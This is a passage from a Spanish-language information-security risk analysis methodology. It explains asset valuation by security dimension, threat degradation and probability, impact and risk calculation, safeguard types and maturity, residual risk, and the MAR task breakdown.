• los servicios subcontratados a terceros
• las instalaciones físicas
• el personal
• usuarios
• operadores y administradores
• desarrolladores
Valoración
¿Por qué interesa un activo? Por lo que vale.
No se está hablando de lo que cuestan las cosas, sino de lo que valen. Si algo no vale para nada,
prescíndase de ello. Si no se puede prescindir impunemente de un activo, es que algo vale; eso
es lo que hay que averiguar pues eso es lo que hay que proteger.
La valoración se puede ver desde la perspectiva de la ‘necesidad de proteger’ pues cuanto más
valioso es un activo, mayor nivel de protección requeriremos en la dimensión (o dimensiones) de
seguridad que sean pertinentes.
El valor puede ser propio, o puede ser acumulado. Se dice que los activos inferiores en un es-
quema de dependencias, acumulan el valor de los activos que se apoyan en ellos.
El valor nuclear suele estar en la información que el si stema maneja y los servicios que se
prestan (activos denominados esenciales), quedando los demás activos subordinados a las
necesidades de explotación y protección de lo esencial.
Por otra parte, los sistemas de información explotan los datos para proporcionar servicios, internos
a la Organización o destinados a terceros, apareciendo una serie de datos necesarios para prestar
un servicio. Sin entrar en detalles técnicos de cómo se hacen las cosas, el conjunto de informa-
ción y servicios esenciales permite caracterizar funcionalmente una organización. Las dependen-
cias entre activos permiten relacionar los demás activos con datos y servicios.
Dimensiones
De un activo puede interesar calibrar diferentes dimensiones:
• su confidencialidad: ¿qué daño causaría que lo conociera quien no debe?
Esta valoración es típica de datos.
• su integridad: ¿qué perjuicio causaría que estuviera dañado o corrupto?
Esta valoración es típica de los datos, que pueden estar manipulados, ser total o parcial-
mente falsos o, incluso, faltar datos.
• su disponibilidad: ¿qué perjuicio causaría no tenerlo o no poder utilizarlo?
Esta valoración es típica de los servicios 12 .
12 Hay servicios finales que materializan la misión última de la Organización. Hay servicios internos de los
que la Organización se sirve para estructurar su propia distribución de responsabilidades. Por último, hay
servicios que se adquieren de otras organizaciones: suministros externos.
En sistemas dedicados a servicios de la sociedad de la información como puedan ser los de ad-
ministración electrónica o comercio electrónico, el conocimiento de los actores es fundamental pa-
ra poder prestar el servicio correctamente y poder perseguir los fallos (accidentales o deliberados)
que pudieran darse. Así pues, en los activos esenciales, frecuentemente es útil valorar:
• la autenticidad: ¿qué perjuicio causaría no saber exactamente quien hace o ha hecho
cada cosa?
Esta valoración es típica de servicios (autenticidad del usuario) y de los datos (autentici-
dad de quien accede a los datos para escribir o, simplemente, consultar)
• la trazabilidad del uso del servicio: ¿qué daño causaría no saber a quién se le presta tal
servicio? O sea, ¿quién hace qué y cuándo?
• la trazabilidad del acceso a los datos: ¿qué daño causaría no saber quién accede a qué
datos y qué hace con ellos?
Se reconocen habitualmente como dimensiones básicas la confidencialidad, integridad y disponibi-
lidad. En esta metodología se han añadido la autenticidad y el concepto de trazabilidad (del inglés,
accountability), que a efectos técnicos se traducen en mantener la integridad y la confidencialidad
de ciertos activos del sistema que pueden ser los servicios de directorio, las claves de firma digital,
los registros de actividad, etc.
El capítulo 3 del "Catálogo de Elementos" presenta una relación de dimensiones de seguridad.
En un árbol de dependencias, donde los activos superiores dependen de los inferiores, es impres-
cindible valorar los activos superiores, los que son importantes por sí mismos. Automáticamente
este valor se acumula en los inferiores, lo que no es óbice para que también puedan merecer, adi-
cionalmente, su valoración propia.
¿Cuánto vale la “salud” de los activos?

Una vez determinadas qué dimensiones (de seguridad) interesan de un activo hay que proceder a
valorarlo. La valoración es la determinación del coste que supondría recuperarse de una inciden-
cia que destrozara el activo. Hay muchos factores a considerar:
• coste de reposición: adquisición e instalación
• coste de mano de obra (especializada) invertida en recuperar (el valor) del activo
• lucro cesante: pérdida de ingresos
• capacidad de operar: confianza de los usuarios y proveedores que se traduce en una pérdi-
da de actividad o en peores condiciones económicas
• sanciones por incumplimiento de la ley u obligaciones contractuales
• daño a otros activos, propios o ajenos
• daño a personas
• daños medioambientales
La valoración puede ser cuantitativa (con una cantidad numérica) o cualitativa (en alguna escala
de niveles). Los criterios más importantes a respetar son:
• la homogeneidad: es importante poder comparar valores aunque sean de diferentes di-
mensiones a fin de poder combinar valores propios y valores acumulados, así como poder
determinar si es más grave el daño en una dimensión o en otra
• la relatividad: es importante poder relativizar el valor de un activo en comparación con otros
activos
Ambos criterios se satisfacen con valoraciones económicas (coste dinerario requerido para “curar”
el activo) y es frecuente la tentación de ponerle precio a todo. Si se consigue, excelente. Incluso
es fácil ponerle precio a los aspectos más tangibles (equipamiento, horas de trabajo, etc.); pero al
entrar en valoraciones más abstractas (intangibles como la credibilidad de la Organización) la va-
loración económica exacta puede ser escurridiza y motivo de agrias disputas entre expertos.
El capítulo 4 del "Catálogo de Elementos" presenta unas pautas para la valoración sistemática de
activos.
Valoración cualitativa
Las escalas cualitativas permiten avanzar con rapidez, posicionando el valor de cada activo en un
orden relativo respecto de los demás. Es frecuente plantear estas escalas como “órdenes de
magnitud” y, en consecuencia, derivar estimaciones del orden de magnitud del riesgo.
La limitación de las valoraciones cualitativas es que no permiten comparar valores más allá de su
orden relativo. No se pueden sumar valores.
La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cualitativas.
Valoración cuantitativa
Las valoraciones numéricas absolutas cuestan mucho esfuerzo; pero permiten sumar valores nu-
méricos de forma absolutamente “natural”. La interpretación de las sumas no es nunca motivo de
controversia.
Si la valoración es dineraria, además se pueden hacer estudios económicos comparando lo que
se arriesga con lo que cuesta la solución respondiendo a las preguntas:
• ¿Vale la pena invertir tanto dinero en esta salvaguarda?
• ¿Qué conjunto de salvaguardas optimizan la inversión?
• ¿En qué plazo de tiempo se recupera la inversión?
• ¿Cuánto es razonable que cueste la prima de un seguro?
La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cuantitativas.
El valor de la interrupción del servicio

Casi todas las dimensiones mencionadas anteriormente permiten una valoración simple, cualitati-
va o cuantitativa. Pero hay una excepción, la disponibilidad.
No es lo mismo interrumpir un servicio una hora o un día o un mes. Puede que una hora de deten-
ción sea irrelevante, mientras que un día sin servicio causa un daño moderado; pero un mes dete-
nido suponga la terminación de la actividad. Y lo malo es que no existe proporcionalidad entre el
tiempo de interrupción y las consecuencias.
En consecuencia, para valorar la [interrupción de la] disponibilidad de un activo hay que usar una
estructura más compleja que se puede resumir en algún gráfico como el siguiente:
3
0
15m 30m 1h 2h 6h 1d 2d 1s 2s 1m 2m 6m 1a total
Ilustración 8. Coste de la [interrupción de la] disponibilidad

donde aparece una serie de escalones de interrupción que terminan con la destrucción total o
permanente del activo. En el ejemplo anterior, paradas de hasta 6 horas se pueden asumir sin
consecuencias. Pero a las 6 horas se disparan las alarmas que aumentan si la parada supera los
2 días. Y si la parada supera el mes, se puede decir que la Organización ha perdido su capacidad
de operar: ha muerto. Desde el punto de vista de los remedios, la gráfica dice directamente que no

hay que gastarse ni un euro por evitar paradas de menos de 6 horas. Vale la pena un cierto gasto
por impedir que una parada supere las 6 horas o los 2 días. Y cuando se valore lo que cuesta im-
pedir que la parada supera el mes, hay que poner en la balanza todo el valor de la Organización
frente al coste de las salvaguardas. Pudiera ser que no valiera la pena.
3.1.2. Paso 2: Amenazas

El siguiente paso consiste en determinar las amenazas que pueden afectar a cada activo. Las
amenazas son “cosas que ocurren”. Y, de todo lo que puede ocurrir, interesa lo que puede pasarle
a nuestros activos y causar un daño.
Amenaza
Causa potencial de un incidente que puede causar daños a un sistema de información o a una
organización. [UNE 71504:2008]
Identificación de las amenazas

El capítulo 5 del "Catálogo de Elementos" presenta una relación de amenazas típicas.
De origen natural
Hay accidentes naturales (terremotos, inundaciones, ...). Ante esos avatares el siste-
ma de información es víctima pasiva, pero de todas formas tendremos en cuenta lo
que puede suceder.
Del entorno (de origen industrial)
Hay desastres industriales (contaminación, fallos eléctricos, ...) ante los cuales el sis-
tema de información es víctima pasiva; pero no por ser pasivos hay que permanecer
indefensos.
Defectos de las aplicaciones
Hay problemas que nacen directamente en el equipamiento propio por defectos en su
diseño o en su implementación, con consecuencias potencialmente negativas sobre el
sistema. Frecuentemente se denominan vulnerabilidades técnicas o, simplemente,
‘vulnerabilidades’ 13 .
Causadas por las personas de forma accidental
Las personas con acceso al sistema de información pueden ser causa de problemas
no intencionados, típicamente por error o por omisión.
Causadas por las personas de forma deliberada
Las personas con acceso al sistema de información pueden ser causa de problemas
intencionados: ataques deliberados; bien con ánimo de beneficiarse indebidamente,
bien con ánimo de causar daños y perjuicios a los legítimos propietarios.
No todas las amenazas afectan a todos los activos 14 , sino que hay una cierta relación entre el tipo
de activo y lo que le podría ocurrir.
Valoración de las amenazas

Cuando un activo es víctima de una amenaza, no se ve afectado en todas sus dimensiones, ni en
la misma cuantía.
13
Estos defectos se clasifican habitualmente bajo la taxonomía conocida como CVE (Common Vulnerability
Enumeration), una norma internacional de facto. La mayor parte de estos defectos suelen afectar a apli-
caciones software.
14
Las instalaciones pueden incendiarse; pero las aplicaciones, no. Las personas pueden ser objeto de un
ataque bacteriológico; pero los servicios, no. Sin embargo, los virus informáticos afectan a las aplicacio-
nes, no a las personas.
Una vez determinado que una amenaza puede perjudicar a un activo, hay que valorar su influen-
cia en el valor del activo, en dos sentidos:
degradación: cuán perjudicado resultaría el [valor del] activo
probabilidad: cuán probable o improbable es que se materialice la amenaza
La degradación mide el daño causado por un incidente en el supuesto de que ocurriera.
La degradación se suele caracterizar como una fracción del valor del activo y así aparecen expre-
siones como que un activo se ha visto “totalmente degradado”, o “degradado en una pequeña
fracción”. Cuando las amenazas no son intencionales, probablemente baste conocer la fracción
físicamente perjudicada de un activo para calcular la pérdida proporcional de valor que se pierde.
Pero cuando la amenaza es intencional, no se puede pensar en proporcionalidad alguna pues el
atacante puede causar muchísimo daño de forma selectiva.
La probabilidad de ocurrencia es más compleja de determinar y de expresar. A veces se modela
cualitativamente por medio de alguna escala nominal:
MA muy alta casi seguro fácil

A alta muy alto medio
M media posible difícil
B baja poco probable muy difícil
MB muy baja muy raro extremadamente difícil
Tabla 1. Degradación del valor
A veces se modela numéricamente como una frecuencia de ocurrencia. Es habitual usar 1 año
como referencia, de forma que se recurre a la tasa anual de ocurrencia 15 como medida de la pro-
babilidad de que algo ocurra. Son valores típicos:
MA 100 muy frecuente a diario

A 10 frecuente mensualmente
M 1 normal una vez al año
B 1/10 poco frecuente cada varios años
MB 1/100 muy poco frecuente siglos
Tabla 2. Probabilidad de ocurrencia
3.1.3. Determinación del impacto potencial

Se denomina impacto a la medida del daño sobre el activo derivado de la materialización de una
amenaza. Conociendo el valor de los activos (en varias dimensiones) y la degradación que causan
las amenazas, es directo derivar el impacto que estas tendrían sobre el sistema.
La única consideración que queda hacer es relativa a las dependencias entre activos. Es frecuen-
te que el valor del sistema se centre en la información que maneja y los servicios que presta; pero
las amenazas suelen materializarse en los medios. Para enlazar unos con otros recurriremos al
grafo de dependencias.
Impacto acumulado
Es el calculado sobre un activo teniendo en cuenta
• su valor acumulado (el propio mas el acumulado de los activos que dependen de él)
• las amenazas a que está expuesto
15
ARO – Annual Rate of Occurrence.
El impacto acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de va-
loración, siendo una función del valor acumulado y de la degradación causada.
El impacto es tanto mayor cuanto mayor es el valor propio o acumulado sobre un activo.
El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado.
El impacto acumulado, al calcularse sobre los activos que soportan el peso del sistema de infor-
mación, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: pro-
tección de los equipos, copias de respaldo, etc.
Impacto repercutido
• su valor propio
• las amenazas a que están expuestos los activos de los que depende
El impacto repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de
valoración, siendo una función del valor propio y de la degradación causada.
El impacto es tanto mayor cuanto mayor es el valor propio de un activo.
El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado.
El impacto es tanto mayor cuanto mayor sea la dependencia del activo atacado.
El impacto repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar
las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues
una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de
riesgos: aceptar un cierto nivel de riesgo.
Agregación de valores de impacto

Los párrafos anteriores determinan el impacto que sobre un activo tendría una amenaza en una
cierta dimensión. Estos impactos singulares pueden agregarse bajo ciertas condiciones:
• puede agregarse el impacto repercutido sobre diferentes activos,
• puede agregarse el impacto acumulado sobre activos que no sean dependientes entre sí, y
no hereden valor de un activo superior común,
• no debe agregarse el impacto acumulado sobre activos que no sean independientes, pues
ello supondría sobre ponderar el impacto al incluir varias veces el valor acumulado de acti-
vos superiores,
• puede agregarse el impacto de diferentes amenazas sobre un mismo activo, aunque con-
viene considerar en qué medida las diferentes amenazas son independientes y pueden ser
concurrentes,
• puede agregarse el impacto de una amenaza en diferentes dimensiones.
3.1.4. Determinación del riesgo potencial

Se denomina riesgo a la medida del daño probable sobre un sistema. Conociendo el impacto de
las amenazas sobre los activos, es directo derivar el riesgo sin más que tener en cuenta la proba-
bilidad de ocurrencia.
El riesgo crece con el impacto y con la probabilidad, pudiendo distinguirse una serie de zonas a
tener en cuenta en el tratamiento del riesgo (que veremos más adelante):
• zona 1 – riesgos muy probables y de muy alto impacto
• zona 2 – franja amarilla: cubre un amplio rango desde situaciones improbables y de impacto
medio, hasta situaciones muy probables pero de impacto bajo o muy bajo

• zona 3 – riesgos improbables y de bajo impacto
• zona 4 – riesgos improbables pero de muy alto impacto
Ilustración 9. El riesgo en función del impacto y la probabilidad
Riesgo acumulado
• el impacto acumulado sobre un activo debido a una amenaza y
• la probabilidad de la amenaza
El riesgo acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de valo-
ración, siendo una función del valor acumulado, la degradación causada y la probabilidad de la
amenaza.
El riesgo acumulado, al calcularse sobre los activos que soportan el peso del sistema de informa-
ción, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: protec-
ción de los equipos, copias de respaldo, etc.
Riesgo repercutido
• el impacto repercutido sobre un activo debido a una amenaza y
• la probabilidad de la amenaza
El riesgo repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de valo-
ración, siendo una función del valor propio, la degradación causada y la probabilidad de la ame-
naza.
El riesgo repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar
las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues
una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de
riesgos: aceptar un cierto nivel de riesgo.
Agregación de riesgos
Los párrafos anteriores determinan el riesgo que sobre un activo tendría una amenaza en una
cierta dimensión. Estos riesgos singulares pueden agregarse bajo ciertas condiciones:
• puede agregarse el riesgo repercutido sobre diferentes activos,
• puede agregarse el impacto acumulado sobre activos que no sean dependientes entre sí, y
no hereden valor de un activo superior común,
• no debe agregarse el riesgo acumulado sobre activos que no sean independientes, pues ello
supondría sobre ponderar el riesgo al incluir varias veces el valor acumulado de activos su-
periores,
• puede agregarse el riesgo de diferentes amenazas sobre un mismo activo, aunque conviene
considerar en qué medida las diferentes amenazas son independientes y pueden ser concu-
rrentes,
• puede agregarse el riesgo de una amenaza en diferentes dimensiones.
3.1.5. Paso 3: Salvaguardas

En los pasos anteriores no se han tomado en consideración las salvaguardas desplegadas. Se
miden, por tanto, los impactos y riesgos a que estarían expuestos los activos si no se protegieran
en absoluto. En la práctica no es frecuente encontrar sistemas desprotegidos: las medidas citadas
indican lo que ocurriría si se retiraran las salvaguardas presentes.
Se definen las salvaguardas o contra medidas como aquellos procedimientos o mecanismos tec-
nológicos que reducen el riesgo. Hay amenazas que se conjurar simplemente organizándose ade-
cuadamente, otras requieres elementos técnicos (programas o equipos), otras seguridad física y,
por último, está la política de personal.
El capítulo 6 del "Catálogo de Elementos" presenta una relación de salvaguardas adecuadas para
cada tipo de activos.
Selección de salvaguardas
Ante el amplio abanico de posibles salvaguardas a considerar, es necesario hacer una criba inicial
para quedarnos con aquellas que son relevantes para lo que hay que proteger. En esta criba se
deben tener en cuenta los siguientes aspectos:
1. tipo de activos a proteger, pues cada tipo se protege de una forma específica
2. dimensión o dimensiones de seguridad que requieren protección
3. amenazas de las que necesitamos protegernos
4. si existen salvaguardas alternativas
Además, es prudente establecer un principio de proporcionalidad y tener en cuenta:
1. el mayor o menor valor propio o acumulado sobre un activo, centrándonos en lo más valio-
so y obviando lo irrelevante
2. la mayor o menor probabilidad de que una amenaza ocurra, centrándonos en los riesgos
más importantes (ver zonas de riesgo)
3. la cobertura del riesgo que proporcionan salvaguardas alternativas
Esto lleva a dos tipos de declaraciones para excluir una cierta salvaguarda del conjunto de las que
conviene analizar:
• no aplica – se dice cuando una salvaguarda no es de aplicación porque técnicamente no es
adecuada al tipo de activos a proteger, no protege la dimensión necesaria o no protege fren-
te a la amenaza en consideración
• no se justif ica – se dice cuando la salvaguarda aplica, pero es desproporcionada al riesgo
que tenemos que proteger
Como resultado de estas consideraciones dispondremos de una “declaración de aplicabilidad”
o relación de salvaguardas que deben ser analizadas como componentes nuestro sistema de pro-
tección.
Efecto de las salvaguardas

Las salvaguardas entran en el cálculo del riesgo de dos formas:

Reduciendo la probabilidad de las amenazas.
Se llaman salvaguardas preventivas. Las ideales llegan a impedir completamente que la
amenaza se materialice.
Limitando el daño causado.
Hay salvaguardas que directamente limitan la posible degradación, mientras que otras per-
miten detectar inmediatamente el ataque para frenar que la degradación avance. Incluso al-
gunas salvaguardas se limitan a permitir la pronta recuperación del sistema cuando la ame-
naza lo destruye. En cualquiera de las versiones, la amenaza se materializa; pero las con-
secuencias se limitan.
Ilustración 10. Elementos de análisis del riesgo residual
Tipo de protección
Esta aproximación a veces resulta un poco simplificadora, pues es habitual hablar de diferentes
tipos de protección prestados por las salvaguardas:
[PR] prevención
Diremos que una salvaguarda es preventiva cuando reduce las oportunidades de que un
incidente ocurra. Si la salvaguarda falla y el incidente llega a ocurrir, los daños son los
mismos.
Ejemplos: autorización previa de los usuarios, gestión de privilegios, planificación de capa-
cidades, metodología segura de desarrollo de software, pruebas en pre-producción, segre-
gación de tareas, ...
[DR] disuasión
Diremos que una salvaguarda es disuasoria cuando tiene un efecto tal sobre los atacantes
que estos no se atreven o se lo piensan dos veces antes de atacar. Son salvaguardas que
actúan antes del incidente, reduciendo las probabilidades de que ocurra; pero que no tie-
nen influencia sobre los daños causados caso de que el atacante realmente se atreva.
Ejemplos: vallas elevadas, guardias de seguridad, avisos sobre la persecución del delito o
persecución del delincuente, ...

[EL] eliminación
Diremos que una salvaguarda elimina un incidente cuando impide que éste tenga lugar.
Son salvaguardas que actúan antes de que el incidente se haya producido. No reducen los
daños caso de que la salvaguarda no sea perfecta y el incidente llegue a ocurrir.
Ejemplos: eliminación de cuentas estándar, de cuentas sin contraseña, de servicios inne-
cesarios, …; en general, todo lo que tenga que ver con la fortificación o bastionado, ..., ci-
frado de la información, ..., armarios ignífugos, ...
[IM] minimización del impacto / limitación del impacto
Se dice que una salvaguarda minimiza o limita el impacto cuando acota las consecuencias
de un incidente.
Ejemplos: desconexión de redes o equipos en caso de ataque, detención de servicios en
caso de ataque, seguros de cobertura, cumplimiento de la legislación vigente
[CR] corrección
Diremos que una salvaguarda es correctiva cuando, habiéndose producido un daño, lo re-
para. Son salvaguardas que actúan después de que el incidente se haya producido y por
tanto reducen los daños.
Véase: recuperación más abajo.
Ejemplos: gestión de incidentes, líneas de comunicación alternativas, fuentes de alimenta-
ción redundantes, ...
[RC] recuperación
Diremos que una salvaguarda ofrece recuperación cuando permite regresar al estado ante-
rior al incidente. Son salvaguardas que no reducen las probabilidades del incidente, pero
acotan los daños a un periodo de tiempo.
Ejemplos: copias de seguridad (back-up)
[MN] monitorización
Son las salvaguardas que trabajan monitorizando lo que está ocurriendo o lo que ha ocu-
rrido. Si se detectan cosas en tiempo real, podemos reaccionar atajando el incidente para
limitar el impacto; si se detectan cosas a posteriori, podemos aprender del incidente y me-
jorar el sistema de salvaguardas de cara al futuro.
Ejemplos: registros de actividad, registro de descargas de web, ...
[DC] detección
Diremos que una salvaguarda funciona detectando un ataque cuando informa de que el
ataque está ocurriendo. Aunque no impide el ataque, sí permite que entren en operación
otras medidas que atajen la progresión del ataque, minimizando daños.
Ejemplos: anti-virus, IDS, detectores de incendio, ...
[AW] concienciación
Son las actividades de formación de las personas anexas al sistema que pueden tener una
influencia sobre él. La formación reduce los errores de los usuarios, lo cual tiene un efecto
preventivo. También mejora las salvaguardas de todo tipo pues los que las operan lo
hacen con eficacia y rapidez, potenciando su efecto o, al menos, no menoscabándolo por
una mala operación.
Ejemplos: cursos de concienciación, cursos de formación, ...
[AD] administración
Se refiere a las salvaguardas relacionadas con los componentes de seguridad del sistema.
Una buena administración evita el desconocimiento de lo que hay y por tanto impide que

hayan puertas desconocidas por las que pudiera tener éxito un ataque. En general pueden
considerarse medidas de tipo preventivo.
Ejemplos: inventario de activos, análisis de riesgos, plan de continuidad, ...
La siguiente tabla relaciona cada uno de estos tipos de protección con el modelo anterior de re-
ducción de la degradación y de la probabilidad:
efecto tipo
preventivas: reducen la probabilidad [PR] preventivas
[DR] disuasorias
[EL] eliminatorias
acotan la degradación [IM] minimizadoras
[CR] correctivas
[RC] recuperativas
consolidan el efecto de las demás [MN] de monitorización
[DC] de detección
[AW] de concienciación
[AD] administrativas
Tabla 3. Tipos de salvaguardas
Eficacia de la protección
Las salvaguardas se caracterizan, además de por su existencia, por su eficacia frente al riesgo
que pretenden conjurar. La salvaguarda ideal es 100% eficaz, eficacia que combina 2 factores:
desde el punto de vista técnico
• es técnicamente idónea para enfrentarse al riesgo que protege
• se emplea siempre
desde el punto de vista de operación de la salvaguarda
• está perfectamente desplegada, configurada y mantenida
• existen procedimientos claros de uso normal y en caso de incidencias
• los usuarios están formados y concienciados
• existen controles que avisan de posibles fallos
Entre una eficacia del 0% para aquellas que faltan y el 100% para aquellas que son idóneas y que
están perfectamente implantadas, se estimará un grado de eficacia real en cada caso concreto.
Para medir los aspectos organizativos, se puede emplear una escala de madurez que recoja en
forma de factor corrector la confianza que merece el proceso de gestión de la salvaguarda:
factor nivel significado

0% L0 inexistente
L1 inicial / ad hoc
L2 reproducible, pero intuitivo
L3 proceso definido
L4 gestionado y medible
100% L5 optimizado
Tabla 4. Eficacia y madurez de las salvaguardas

Vulnerabilidades
Se denomina vulnerabilidad a toda debilidad que puede ser aprovechada por una amenaza, o más
detalladamente a las debilidades de los activos o de sus medidas de protección que facilitan el
éxito de una amenaza potencial.
Traducido a los términos empleados en los párrafos anteriores, son vulnerabilidades todas las au-
sencias o ineficacias de las salvaguardas pertinentes para salvaguardar el valor propio o acumu-
lado sobre un activo. A veces se emplea el término “insuficiencia” para resaltar el hecho de que la
eficacia medida de la salvaguarda es insuficiente para preservar el valor del activo expuesto a una
amenaza.
3.1.6. Paso 4: impacto residual

Dado un cierto conjunto de salvaguardas desplegadas y una medida de la madurez de su proceso
de gestión, el sistema queda en una situación de posible impacto que se denomina residual. Se
dice que hemos modificado el impacto, desde un valor potencial a un valor residual.
El cálculo del impacto residual es sencillo. Como no han cambiado los activos, ni sus dependen-
cias, sino solamente la magnitud de la degradación, se repiten los cálculos de impacto con este
nuevo nivel de degradación.
La magnitud de la degradación tomando en cuenta la eficacia de las salvaguardas, es la propor-
ción que resta entre la eficacia perfecta y la eficacia real.
El impacto residual puede calcularse acumulado sobre los activos inferiores, o repercutido sobre
los activos superiores.
3.1.7. Paso 5: riesgo residual

Dado un cierto conjunto de salvaguardas desplegadas y una medida de la madurez de su proceso
de gestión, el sistema queda en una situación de riesgo que se denomina residual. Se dice que
hemos modificado el riesgo, desde un valor potencial a un valor residual.
El cálculo del riesgo residual es sencillo. Como no han cambiado los activos, ni sus dependencias,
sino solamente la magnitud de la degradación y la probabilidad de las amenazas, se repiten los
cálculos de riesgo usando el impacto residual y la probabilidad residual de ocurrencia.
La magnitud de la degradación se toma en consideración en el cálculo del impacto residual.
La magnitud de la probabilidad residual tomando en cuenta la eficacia de las salvaguardas, es la
proporción que resta entre la eficacia perfecta y la eficacia real.
El riesgo residual puede calcularse acumulado sobre los activos inferiores, o repercutido sobre los
activos superiores.
3.2. Formalización de las actividades

Este conjunto de actividades tiene los siguientes objetivos:
• Levantar un modelo del valor del sistema, identificando y valorando los activos relevantes.
• Levantar un mapa de riesgos del sistema, identificando y valorando las amenazas sobre
aquellos activos.
• Levantar un conocimiento de la situación actual de salvaguardas.
• Evaluar el impacto posible sobre el sistema en estudio, tanto el impacto potencial (sin salva-
guardas), como el impacto residual (incluyendo el efecto de las salvaguardas desplegadas
para proteger el sistema).
• Evaluar el riesgo del sistema en estudio, tanto el riesgo potencial (sin salvaguardas), como
el riesgo residual (incluyendo el efecto de las salvaguardas desplegadas para proteger el
sistema).

• Informar de las áreas del sistema con mayor impacto y/o riesgo a fin de que se puedan to-
mar las decisiones de tratamiento con motivo justificado.
El análisis de los riesgos se lleva a cabo por medio de las siguientes tareas:
MAR – Método de Análisis de Riesgos

MAR.1 – Caracterización de los activos
MAR.11 – Identificación de los activos
MAR.12 – Dependencias entre activos
MAR.13 – Valoración de los activos
MAR.2 – Caracterización de las amenazas
MAR.21 – Identificación de las amenazas
MAR.22 – Valoración de las amenazas
MAR.3 – Caracterización de las salvaguardas
MAR.31 – Identificación de las salvaguardas pertinentes
MAR.32 – Valoración de las salvaguardas
MAR.4 – Estimación del estado de riesgo
MAR.41 – Estimación del impacto
MAR.42 – Estimación del riesgo
MAR.1: Caracterización de los activos

Esta actividad busca identificar los activos relevantes dentro del sistema a analizar, caracte-
rizándolos por el tipo de activo, identificando las relaciones entre los diferentes activos, de-
terminando en qué dimensiones de seguridad son importantes y valorando esta importancia.
El resultado de esta actividad es el informe denominado “modelo de valor”.
Sub-tareas:
Tarea MAR.11: Identificación de los activos
Tarea MAR.12: Dependencias entre activos
Tarea MAR.13: Valoración de los activos
MAR.2: Caracterización de las amenazas

Esta actividad busca identificar las amenazas relevantes sobre el sistema a analizar, caracte-
rizándolas por las estimaciones de ocurrencia (probabilidad) y daño causado (degradación).
El resultado de esta actividad es el informe denominado “mapa de riesgos”.
Sub-tareas:
Tarea MAR.21: Identificación de las amenazas
Tarea MAR.22: Valoración de las amenazas
MAR.3: Caracterización de las salvaguardas

Esta actividad busca identificar las salvaguardas desplegadas en el sistema a analizar, cali-
ficándolas por su eficacia frente a las amenazas que pretenden mitigar.
El resultado de esta actividad se concreta en varios informes:
— declaración de aplicabilidad
— evaluación de salvaguardas
— insuficiencias (o vulnerabilidades del sistema de protección)

Sub-tareas:
Tarea MAR.31: Identificación de las salvaguardas pertinentes
Tarea MAR.32: Valoración de las salvaguardas
MAR.4: Estimación del estado de riesgo

Esta actividad procesa todos los datos recopilados en las actividades anteriores para
• realizar un informe del estado de riesgo: estimación de impacto y riesgo
• realizar un informe de insuficiencias: deficiencias o debilidades en el sistema de sal-
vaguardas
Sub-tareas:
Tarea MAR.41: Estimación del impacto
Tarea MAR.42: Estimación del riesgo
Es frecuente que las tareas relacionadas con los activos (MAR.1) se realicen concurrentemente
con las tareas relacionadas con las amenazas sobre dichos activos (MAR.2) e identificación de las
salvaguardas actuales (MAR.3), simplemente porque suelen coincidir las personas y es difícil que
el interlocutor no tienda de forma natural a tratar cada activo “verticalmente”, viendo todo lo que le
afecta antes de pasar al siguiente.
3.2.1. Tarea MAR.1: Caracterización de los activos

Esta actividad consta de tres sub-tareas:
MAR.11: Identificación de los activos
MAR.12: Dependencias entre activos
MAR.13: Valoración de los activos
El objetivo de estas tareas es reconocer los activos que componen el sistema, definir las depen-
dencias entre ellos, y determinar que parte del valor del sistema se soporta en cada activo. Pode-
mos resumirlo en la expresión “conócete a ti mismo”.
MAR: Análisis de riesgos

Objetivos
• Identificar los activos que componen el sistema, determinando sus características, atributos
y clasificación en los tipos determinados
Productos de entrada
• Inventario de datos manejados por el sistema
• Inventario de servicios prestados por el sistema
• Procesos de negocio
• Diagramas de uso
• Diagramas de flujo de datos
• Inventarios de equipamiento lógico
• Inventarios de equipamiento físico
• Locales y sedes de la Organización
• Caracterización funcional de los puestos de trabajo


Productos de salida
• Relación de activos a considerar
• Caracterización de los activos: valor propio y acumulado
• Relaciones entre activos
Técnicas, prácticas y pautas
• Ver “Libro II – Catálogo”.
• Diagramas de procesos
• Entrevistas (ver "Guía de Técnicas")
• Reuniones
Esta tarea es crítica. Una buena identificación es importante desde varios puntos de vista:
• materializa con precisión el alcance del proyecto
• permite las interlocución con los grupos de usuarios: todos hablan el mismo lenguaje
• permite determinar las dependencias precisas entre activos
• permite valorar los activos con precisión
• permite identificar y valorar las amenazas con precisión
• permite determinar qué salvaguardas serán necesarias para proteger el sistema
Caracterización de los activos

Para cada activo hay que determinar una serie de características que lo definen:
• código, típicamente procedente del inventario
• nombre (corto)
• descripción (larga)
• tipo (o tipos) que caracterizan el activo
• unidad responsable. A veces hay más de una unidad. Por ejemplo, en el caso de aplicacio-
nes cabe diferenciar entre la unidad que la mantiene y la que la explota.
• persona responsable. Especialmente relevante en el caso de datos. A veces hay más de un
responsable. Por ejemplo en caso de datos de carácter personal cabe diferenciar entre el
responsable del dato y el operador u operadores que lo manejan.
• ubicación, técnica (en activos intangibles) o geográfica (en activos materiales)
• cantidad, si procede como puede ser en el caso de la informática personal (por ejemplo 350
equipos de sobremesa)
• otras características específicas del tipo de activo


MAR.12: Dependencias entre activos
Objetivos
• Identificar y valorar las dependencias entre activos, es decir la medida en que un activo de
orden superior se puede ver perjudicado por una amenaza materializada sobre un activo de
orden inferior
• Resultados de la tarea T1.2.1, Identificación
• Procesos de negocio
• Diagramas de uso
Productos de salida
• Diagrama de dependencias entre activos

• Diagramas de procesos
• Reuniones
• Valoración Delphi (ver "Guía de Técnicas")
Para cada dependencia conviene registrar la siguiente información:

• estimación del grado de dependencia: hasta un 100%
• explicación de la valoración de la dependencia
• entrevistas realizadas de las que se ha deducido la anterior estimación

MAR.13: Valoración de los activos
Objetivos
• Identificar en qué dimensión es valioso el activo
